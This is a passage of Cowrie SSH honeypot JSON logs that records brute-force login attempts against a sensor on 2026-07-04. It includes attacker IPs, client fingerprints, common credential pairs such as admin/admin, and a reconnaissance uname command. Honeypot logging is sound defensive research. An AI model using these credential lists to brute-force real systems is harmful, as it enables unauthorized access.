mpCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:20.189444Z","src_ip":"5.196.136.131","session":"0ec3ea992d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:20.434628Z","src_ip":"5.196.136.131","session":"0ec3ea992d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:20.766026Z","src_ip":"179.125.169.27","session":"aecb3fc471ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:21.512526Z","src_ip":"5.196.136.131","session":"0ec3ea992d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":40082,"dst_ip":"10.17.0.5","dst_port":22,"session":"1998a2eb0856","protocol":"ssh","message":"New connection: 14.55.144.22:40082 (10.17.0.5:22) [session: 1998a2eb0856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:21.725089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:21.728707Z","src_ip":"14.55.144.22","session":"1998a2eb0856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:21.934921Z","src_ip":"14.55.144.22","session":"1998a2eb0856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasd123","message":"login attempt [root/123QWEasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:22.795885Z","src_ip":"14.55.144.22","session":"1998a2eb0856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:24.005455Z","src_ip":"14.55.144.22","session":"1998a2eb0856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47790,"dst_ip":"10.17.0.5","dst_port":22,"session":"330657871ea2","protocol":"ssh","message":"New connection: 5.196.136.131:47790 (10.17.0.5:22) [session: 330657871ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:24.549307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:24.553143Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:24.630574Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:24.867532Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:25.067390Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:25.069911Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:25.150167Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:25.154783Z","src_ip":"5.196.136.131","session":"330657871ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16338,"dst_ip":"10.17.0.5","dst_port":22,"session":"505785046e40","protocol":"ssh","message":"New connection: 5.196.136.131:16338 (10.17.0.5:22) [session: 505785046e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:28.957838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:28.961494Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.038950Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.273203Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.466069Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.468818Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.549938Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:29.555330Z","src_ip":"5.196.136.131","session":"505785046e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23622,"dst_ip":"10.17.0.5","dst_port":22,"session":"69916c1c877a","protocol":"ssh","message":"New connection: 5.196.136.131:23622 (10.17.0.5:22) [session: 69916c1c877a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.371464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.374076Z","src_ip":"5.196.136.131","session":"69916c1c877a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.451193Z","src_ip":"5.196.136.131","session":"69916c1c877a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.683286Z","src_ip":"5.196.136.131","session":"69916c1c877a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":48290,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7ab6bba992","protocol":"ssh","message":"New connection: 162.144.64.128:48290 (10.17.0.5:22) [session: 2e7ab6bba992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.831296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.835006Z","src_ip":"162.144.64.128","session":"2e7ab6bba992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:33.922014Z","src_ip":"162.144.64.128","session":"2e7ab6bba992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathmandu_nepal","password":"kathmandu123","message":"login attempt [kathmandu_nepal/kathmandu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:34.168545Z","src_ip":"162.144.64.128","session":"2e7ab6bba992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:34.762962Z","src_ip":"5.196.136.131","session":"69916c1c877a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:35.536484Z","src_ip":"162.144.64.128","session":"2e7ab6bba992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39604,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc54900abfd","protocol":"ssh","message":"New connection: 5.196.136.131:39604 (10.17.0.5:22) [session: afc54900abfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:37.836756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:37.840277Z","src_ip":"5.196.136.131","session":"afc54900abfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:37.922691Z","src_ip":"5.196.136.131","session":"afc54900abfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:38.175980Z","src_ip":"5.196.136.131","session":"afc54900abfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:39.261601Z","src_ip":"5.196.136.131","session":"afc54900abfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":46154,"dst_ip":"10.17.0.5","dst_port":22,"session":"54421b979a88","protocol":"ssh","message":"New connection: 5.196.136.131:46154 (10.17.0.5:22) [session: 54421b979a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:42.301718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:42.304800Z","src_ip":"5.196.136.131","session":"54421b979a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:42.381271Z","src_ip":"5.196.136.131","session":"54421b979a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:42.613556Z","src_ip":"5.196.136.131","session":"54421b979a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:43.693770Z","src_ip":"5.196.136.131","session":"54421b979a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27216,"dst_ip":"10.17.0.5","dst_port":22,"session":"f017e9e37bec","protocol":"ssh","message":"New connection: 5.196.136.131:27216 (10.17.0.5:22) [session: f017e9e37bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:46.697148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:46.717009Z","src_ip":"5.196.136.131","session":"f017e9e37bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.